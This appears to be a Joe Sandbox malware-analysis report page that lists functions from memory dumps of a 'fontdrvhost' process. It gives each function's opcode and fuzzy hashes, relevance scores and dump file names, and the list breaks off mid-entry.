Opcode ID: a56ab3c0dbcca72e590f43c097e8e578837340ab49578afda2127576d787fd12
Instruction ID: 5705454b9860d528fbd9d6fc25bfca98652b1527ba45f44e2b9926bec57d7ed8
Opcode Fuzzy Hash: a56ab3c0dbcca72e590f43c097e8e578837340ab49578afda2127576d787fd12
Instruction Fuzzy Hash: B931A421B0C75B8FE775DB9484621B8B6F0EF05390F1803B9E08DC21C2EF286805A782

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBCBCD6 Relevance: 1.5, Strings: 1, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

K/, xrefs: 00007FFD9BBCBEC5

Memory Dump Source

Source File: 00000015.00000002.2167161953.00007FFD9BBC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bbc0000_fontdrvhost.jbxd

Similarity

API ID:
String ID: K/
API String ID: 0-1550663435
Opcode ID: 6661770a40ba3ff4a68fceb43fb83a61efc7f56a222e2138a2c1e6cdf464d3fa
Instruction ID: 9faaea365bf5237d98a9ef99bad5e9eae7679a2d36bf5d55821973e0b469e685
Opcode Fuzzy Hash: 6661770a40ba3ff4a68fceb43fb83a61efc7f56a222e2138a2c1e6cdf464d3fa
Instruction Fuzzy Hash: ED81E531A0EA4E8BE738EB6C94751B977E0FF45318B15457ED48EC21D2DE29B902C741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0DB3F8 Relevance: 1.4, Strings: 1, Instructions: 159COMMON

Download Yara Rule

Strings

, xrefs: 00007FFD9C0DB472

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: cd462d82f8fadf7de7080eead29c29e8ac00b60a570d3d8f81de8aca6bb0a168
Instruction ID: 629dc2d867d33cded1398535b3dce840cd9f5836a6cba4719dbe1e1e8c8d65f5
Opcode Fuzzy Hash: cd462d82f8fadf7de7080eead29c29e8ac00b60a570d3d8f81de8aca6bb0a168
Instruction Fuzzy Hash: 53514A71E0860A8FDB69DB98C4606BDB7B1EF54341F1042BAE01EEB2D6DB396941DB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0E0BA2 Relevance: 1.4, Strings: 1, Instructions: 158COMMON

Download Yara Rule

Strings

, xrefs: 00007FFD9C0E0C12

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: f98396f53d1e93b8f62d0bc9865a148c1e573de2d83b17476a5fa5347c667167
Instruction ID: 1c36f167d937210ae9c5cdc4ee7ff8e4c41aaf9516da8b275bfae7767ee9ee0a
Opcode Fuzzy Hash: f98396f53d1e93b8f62d0bc9865a148c1e573de2d83b17476a5fa5347c667167
Instruction Fuzzy Hash: 4D514931E4860B8FDB69DF98C4A55BDB7B1FF54388F5041BAD01EA7296CB396801DB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBC6178 Relevance: 1.4, Strings: 1, Instructions: 153COMMON

Download Yara Rule

Strings

, xrefs: 00007FFD9BBC61F2

Memory Dump Source

Source File: 00000015.00000002.2167161953.00007FFD9BBC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bbc0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 9447b1e12c7ca689ceef8c5df9acad8c181461de9d9361176fd10d8e7f80ea95
Instruction ID: 84a4304f62ffd5532ad84cfe203ca1fb9c125b709232dc28b4959d0ac54c64ff
Opcode Fuzzy Hash: 9447b1e12c7ca689ceef8c5df9acad8c181461de9d9361176fd10d8e7f80ea95
Instruction Fuzzy Hash: 93514A31E0950E8FDB58EB98C8659BDB7B1FF54305F1140BED41AE72E6CA396A01CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA06761 Relevance: 1.3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

Strings

*, xrefs: 00007FFD9BA067B7

Memory Dump Source

Source File: 00000015.00000002.2132802424.00007FFD9BA06000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA06000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9ba06000_fontdrvhost.jbxd

Similarity

API ID:
String ID: *
API String ID: 0-163128923
Opcode ID: a4da3ef370e5b789b0245ef8702a72624d38bff71e41aa57300dab3265010f7e
Instruction ID: 99697bfce5100a8b9e3365c8019ef667a08aca62844f6153bf86982899817369
Opcode Fuzzy Hash: a4da3ef370e5b789b0245ef8702a72624d38bff71e41aa57300dab3265010f7e
Instruction Fuzzy Hash: DF11F370A1951D8FEBBCDB08C8A4BE8B7B1FB58304F1002F9D04ED2295CA786B818F55

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C10FAF7 Relevance: .9, Instructions: 852COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C10A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C10A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c10a000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 902fbc76a139301a8e3ac18e597168e3af11c60f88d285bf8c55edd550a3d195
Instruction ID: 293149367e47bf10aa77de2c5095f078941939c2684cee05a8deaa409020c56a
Opcode Fuzzy Hash: 902fbc76a139301a8e3ac18e597168e3af11c60f88d285bf8c55edd550a3d195
Instruction Fuzzy Hash: 34725470A4891D8FDFA9EF18C894FA977B1FB68705F1141E9900EE7265DA31AE81CF40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0D78B0 Relevance: .7, Instructions: 686COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: feb940b1e3eabfa5d8be0192b5eef09affb830d0e0ca8cb18dd9d67ea780a20a
Instruction ID: 356c1adc0d41e5509f8f7e0d50c5978c20e88b63ced5b3ffcde334cd50fa07e0
Opcode Fuzzy Hash: feb940b1e3eabfa5d8be0192b5eef09affb830d0e0ca8cb18dd9d67ea780a20a
Instruction Fuzzy Hash: 75326430A18A1A8FDBA8DB5CC875A7977F1FF58310F5042B9E01EC7296EB25AC45CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0DDB99 Relevance: .6, Instructions: 632COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 052ee0f12563d1fcb4cd8bd88171e562ea23c11c9c70ec9d173136084aef7f86
Instruction ID: 6df91fbf0c2ec7ffbf563f7e276cdd8c3b74b48c5dd4c948dd751c8af479454b
Opcode Fuzzy Hash: 052ee0f12563d1fcb4cd8bd88171e562ea23c11c9c70ec9d173136084aef7f86
Instruction Fuzzy Hash: 1C71E722B0C3578AF73676E464655F82FB09F017E0F1A02B7F46E860D7EE1D2845A2D2

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0DE005 Relevance: .5, Instructions: 492COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0016f6e91a097346098d28bf41f0e055a51d8d0cf550b1b648fc6d4ffa49442e
Instruction ID: 0ff6a8df31dca3e7e18ae9a912722f368cf84cf5125374cc52306620a22740ce
Opcode Fuzzy Hash: 0016f6e91a097346098d28bf41f0e055a51d8d0cf550b1b648fc6d4ffa49442e
Instruction Fuzzy Hash: D741D412F0C22789F23977E874719F91BA09F007E4F164377F86E4A0C7AE1A2C85A6D5

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C10C866 Relevance: .5, Instructions: 473COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C10A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C10A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c10a000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2986672294a52255c718c63bb29729c4ffba8aac989e5d16d7b8ea3e20604fa
Instruction ID: 124295e079ce15d6a51c731add4d1a1eaba754a3554d3015a3d7791583c62404
Opcode Fuzzy Hash: e2986672294a52255c718c63bb29729c4ffba8aac989e5d16d7b8ea3e20604fa
Instruction Fuzzy Hash: A8F15070A08A8E8FEBB8EF28C865BE937E1FF59351F00412AD84ED7291DB749544CB45

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0DC6B1 Relevance: .4, Instructions: 419COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3583f6cb317e1d4d28e4e259ee11f027e8f81c5c7a1b1bdccd75c4cb8f6c4886
Instruction ID: b4dc65455f6e7fd828ad53fbc3e43281c9aef2cad8853bcf287ccba2810c0465
Opcode Fuzzy Hash: 3583f6cb317e1d4d28e4e259ee11f027e8f81c5c7a1b1bdccd75c4cb8f6c4886
Instruction Fuzzy Hash: CAE1AC30A0CB078BE368DB68D4A557577B1FF44394F5446BEE48EC3682EB29B8429B41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBC7431 Relevance: .4, Instructions: 416COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2167161953.00007FFD9BBC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bbc0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae01f2b937a838bf4d4c016ee41761d75d0bee1057bb520663f9d26703987ebe
Instruction ID: c7836f79aa06784e59cb2c4952b281c1b4704fbe9be96a1316c879e60cbec276
Opcode Fuzzy Hash: ae01f2b937a838bf4d4c016ee41761d75d0bee1057bb520663f9d26703987ebe
Instruction Fuzzy Hash: 20E1E231A0EA0A8FD369EF6DC4A057577E1FF44318B21457EC49AC36E2DE29B942C741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0E0E0F Relevance: .4, Instructions: 366COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1050e0100f6c510eb68798f4dbc499880ad3af4557f811a87754257f5d75b95f
Instruction ID: bd5235f44aaa35372a7a92c38b415d149943440a79ecd1fa899780b59274ae42
Opcode Fuzzy Hash: 1050e0100f6c510eb68798f4dbc499880ad3af4557f811a87754257f5d75b95f
Instruction Fuzzy Hash: FBD1AD306585568BEB58CF48C4E06B137B2FF45390B5446BDC85E8B68BCB38E892DB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0DD0E8 Relevance: .3, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ca69c62df077648256bdad0349d78534d8e4f0c53d4938914dc7732d7f58162
Instruction ID: bbeb902b90c787aedfc92fb7948637b5fa9fe7e009198acb893cb47b8e52da6a
Opcode Fuzzy Hash: 6ca69c62df077648256bdad0349d78534d8e4f0c53d4938914dc7732d7f58162
Instruction Fuzzy Hash: F5B1BD31B8C64B8FE7789BA884615B877B0FF54380F2405BED45EC3183DF29A941A782

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBC640F Relevance: .3, Instructions: 332COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2167161953.00007FFD9BBC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bbc0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25e7f14f538ea338f071eebc8053bcbc8edd3e08f52822797027e81af366e931
Instruction ID: 6599ec4574a0cea46d9d1002d84ff8ad69a52f2a0118c86b83f65f0f994d9289
Opcode Fuzzy Hash: 25e7f14f538ea338f071eebc8053bcbc8edd3e08f52822797027e81af366e931
Instruction Fuzzy Hash: 6AC1B130A1954A8BEB29DF58C0E49B137A1FF55304B6545BED84B8B6DFCA38F942CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0E0E2F Relevance: .3, Instructions: 332COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 097c5d661ad5d2d48e542d8e09c84981fbfad7dee351bf25c821592c147db9b9
Instruction ID: 670fdcc397d49691e5caeae94da0ee4178af085904dd15150befed000df8fdd9
Opcode Fuzzy Hash: 097c5d661ad5d2d48e542d8e09c84981fbfad7dee351bf25c821592c147db9b9
Instruction Fuzzy Hash: 7BC1AC30A585578BEB29CF44C4E05B137B2FF45394B5446BDC85E8B68BCB38E891DB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0DB68F Relevance: .3, Instructions: 331COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07d84e5fb03a4dfc62c5286d349a20e417e1413d551e68beea9d75725357ea50
Instruction ID: acc96a3aa730731ae9e531852fcfd414cdcfd3b1a06b8260cb462164cd2d4edc
Opcode Fuzzy Hash: 07d84e5fb03a4dfc62c5286d349a20e417e1413d551e68beea9d75725357ea50
Instruction Fuzzy Hash: 63C1B0306186568BEB29CF58C0E05B57BB1FF45350B5446BDE85E8F6CADB38E881CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBC5CA2 Relevance: .3, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2167161953.00007FFD9BBC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bbc0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da471b5c07bfb132d3d3182b1c993609ffc9009a2fb7ae3c17548d86354476cb
Instruction ID: 8b3d5552bea07ff8fd2d8b7476d942628173f8c393aa25d6bc049500627dd0e9
Opcode Fuzzy Hash: da471b5c07bfb132d3d3182b1c993609ffc9009a2fb7ae3c17548d86354476cb
Instruction Fuzzy Hash: 2EC1C130A09A4A8FE759EB6CC0A26B4B7A1FF54304F55417AD44EC7AD6CB28F951CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0E071A Relevance: .3, Instructions: 308COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12836718bf62932dc551c6b2a7925ffc3e7a439000fd2caad57608714b89b39c
Instruction ID: 2bff3c61880bc8cdbceebdd7dc0bfdda5943429333e43378560a0f9dc64dcc1d
Opcode Fuzzy Hash: 12836718bf62932dc551c6b2a7925ffc3e7a439000fd2caad57608714b89b39c
Instruction Fuzzy Hash: 1AB1D830B1CA478FE759DF68C4A06A4B7B1FF55384F9441B9C44EC7686DB28B861DB80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBC3677 Relevance: .3, Instructions: 305COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2167161953.00007FFD9BBC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bbc0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e6bdc1c939ff894455b0eca46882a2c3aa5104d6f6ab105b5434b6d5f165cdd
Instruction ID: 029d472ef03f1fc8c74f3d29b4167b23382bbeaa1973d062a8fe53c9835b9472
Opcode Fuzzy Hash: 9e6bdc1c939ff894455b0eca46882a2c3aa5104d6f6ab105b5434b6d5f165cdd
Instruction Fuzzy Hash: 8521C712F0F68B86F635F7EC64774F85B507F54218F9A05BAC48E860E2CC2D2645D396

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBCA187 Relevance: .3, Instructions: 299COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2167161953.00007FFD9BBC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bbc0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 362eb49a0590184f5cef7dc645826c8ff2bac8aca1adb32b9d62b4aff6fc7f1f
Instruction ID: b518f309ec5e2a1ad4d3c14e5441f0c9c8450b86d32ff8f37cf3f5361c98465c
Opcode Fuzzy Hash: 362eb49a0590184f5cef7dc645826c8ff2bac8aca1adb32b9d62b4aff6fc7f1f
Instruction Fuzzy Hash: 9421D712F0F29E8AF735F6ED1C752B86650BF81658F1A11B6C48E860EADC0C2945D382

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBC63EF Relevance: .3, Instructions: 293COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2167161953.00007FFD9BBC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bbc0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0454307fffd7aed31d3b31b3da5c99499f8cfe7af355d662c2f247008ad303b3
Instruction ID: eaaa1d0e56047af360477a3f34ecf21f76a826c6de59b02bc7d16d3eac21e6fb
Opcode Fuzzy Hash: 0454307fffd7aed31d3b31b3da5c99499f8cfe7af355d662c2f247008ad303b3
Instruction Fuzzy Hash: 36B1AF706196098FEB59DF58C0E09B137A1FF59314B6145BDC84B8B69FCB38E982CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0DE0D4 Relevance: .3, Instructions: 274COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50207f5f71107bd09b4a3405214d4c90116fd511392a923c0a83704331b7cd3e
Instruction ID: f7fced70a37e16109d7173f00620f78cfcf5ba2eafc27968260f3835afde20f3
Opcode Fuzzy Hash: 50207f5f71107bd09b4a3405214d4c90116fd511392a923c0a83704331b7cd3e
Instruction Fuzzy Hash: 2211A352F0D39786F6395AE424350BC5D70AF517D1F5A03BBF9AE821C2EE4C68447286

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0DFBF6 Relevance: .3, Instructions: 262COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28db82e2b96f4c8e433d69ea0a39e007c1eca71e3ca5c5e7541b11108be757d1
Instruction ID: c7da86f29bc7d7164a91ed3650ec5daeafa2ac05985e68c560dd1c3f233e5b2f
Opcode Fuzzy Hash: 28db82e2b96f4c8e433d69ea0a39e007c1eca71e3ca5c5e7541b11108be757d1
Instruction Fuzzy Hash: A981F231B0C7474FE7789BA8A46117577F1EF85394F14867EE88EC3282EF29A8429741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0DA466 Relevance: .3, Instructions: 252COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d154c4975bc8c89ec0f92b514816a522fa0ec6f45f53f88fc60bbb5bf531f247
Instruction ID: 56ee3df9f791b037a449528cf5b8aa0e0f1877e33b494be0eefe55dc0a006193
Opcode Fuzzy Hash: d154c4975bc8c89ec0f92b514816a522fa0ec6f45f53f88fc60bbb5bf531f247
Instruction Fuzzy Hash: BE81EE31A1CB438BE7389A6894251B577F8FF85354F14067EF48E83186EF28AA029741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBC3329 Relevance: .2, Instructions: 250COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2167161953.00007FFD9BBC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bbc0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9d34a83a9023071e781d12b0ed2a284f0ddde47400daf59f20560091ca91f94
Instruction ID: cd7f3f0d6af46205cc10de101669ad8d472d2b2f1d99c616e7fd9654cc81b95b
Opcode Fuzzy Hash: c9d34a83a9023071e781d12b0ed2a284f0ddde47400daf59f20560091ca91f94
Instruction Fuzzy Hash: 25710431A0E84D4FE779FA5C88675B437D0FF84318B5602B9D09EC75F2DE28AA06C681

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0D8389 Relevance: .2, Instructions: 249COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bbe5002938b968e8b554f7f792f70c1d31cee9f1a4b7f398af9dd328f0e07414
Instruction ID: fa308d2d1a73900f027d5ccf21d55b42924831c959bf519b2e7e260836987fec
Opcode Fuzzy Hash: bbe5002938b968e8b554f7f792f70c1d31cee9f1a4b7f398af9dd328f0e07414
Instruction Fuzzy Hash: DD71E231A0C64B4FE778DA5898275B937E0FF84352F1403B9F19EC75A2EF18A81696C1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBC51E6 Relevance: .2, Instructions: 248COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2167161953.00007FFD9BBC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bbc0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ee0636d2c6a0225f3db57045d01faa9cac5b80326e2eee921edd463b3456aad
Instruction ID: 6d72101992a8e141ea22b0621766d412924d1cba8c3453adfc373570441d9cac
Opcode Fuzzy Hash: 2ee0636d2c6a0225f3db57045d01faa9cac5b80326e2eee921edd463b3456aad
Instruction Fuzzy Hash: 26711631B0EA498FE338EBAC946257577E0FF85318B16057ED48FC61E2DE29A502C751

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBC9E39 Relevance: .2, Instructions: 247COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2167161953.00007FFD9BBC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bbc0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c25c3614097009b90afccddadc177844943fd7aa70b410ac5d00d7a7ac0dde2
Instruction ID: 0b8c784a67d00081f7c27e707b8c16dba41f594f45648dc4f4f79e608a9e640b
Opcode Fuzzy Hash: 8c25c3614097009b90afccddadc177844943fd7aa70b410ac5d00d7a7ac0dde2
Instruction Fuzzy Hash: 0071E731A0E54E4FF779EA9C842A5B537C0FF56314B0602B9D4DEC75F1DE28AA0AC681

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0DE0A7 Relevance: .2, Instructions: 246COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f90ecc17375473043cc7d72fef0a83efc894f9b8fcf590bd7f93a7de0453e733
Instruction ID: 128b8e9d9bfca0f91edc125ee23d79e8bac84bc618d737dd629d626ba037c4ef
Opcode Fuzzy Hash: f90ecc17375473043cc7d72fef0a83efc894f9b8fcf590bd7f93a7de0453e733
Instruction Fuzzy Hash: 6E11A252F0C36785F63966D424354F91A605F013E0F1A03BAF86E861C2EE0928447286

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBC3EEB Relevance: .2, Instructions: 240COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2167161953.00007FFD9BBC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bbc0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65f2e6364e51fa5a397143a6dde627c862d48b6cb81ef0e12ac321a92335715d
Instruction ID: 8ff3887d4b8e721230ec526ff292f4eca60600a80671774ec4904c4a4f43a802
Opcode Fuzzy Hash: 65f2e6364e51fa5a397143a6dde627c862d48b6cb81ef0e12ac321a92335715d
Instruction Fuzzy Hash: 4481AF30E1D54E8EEBA5EBA888656BCBBB1FF45308F5105BAD00ED71E5DE386A41C701

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBCDF21 Relevance: .2, Instructions: 232COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2167161953.00007FFD9BBC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bbc0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6781f9fd8e6936316a7b3921810f366308bad1213dce08d2cc68fcf7b7e2169
Instruction ID: e073eb7a6786b1643baac5d9614c0d5da2e10fc243b1b22017f9b2dffd9ffa9b
Opcode Fuzzy Hash: e6781f9fd8e6936316a7b3921810f366308bad1213dce08d2cc68fcf7b7e2169
Instruction Fuzzy Hash: F5918E30A0AB0A8FE374EB58C1A557177E1FF54308B51557EC48AC7AE6CB39B942CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0D8DA0 Relevance: .2, Instructions: 225COMMON

Download Yara Rule

Memory Dump Source

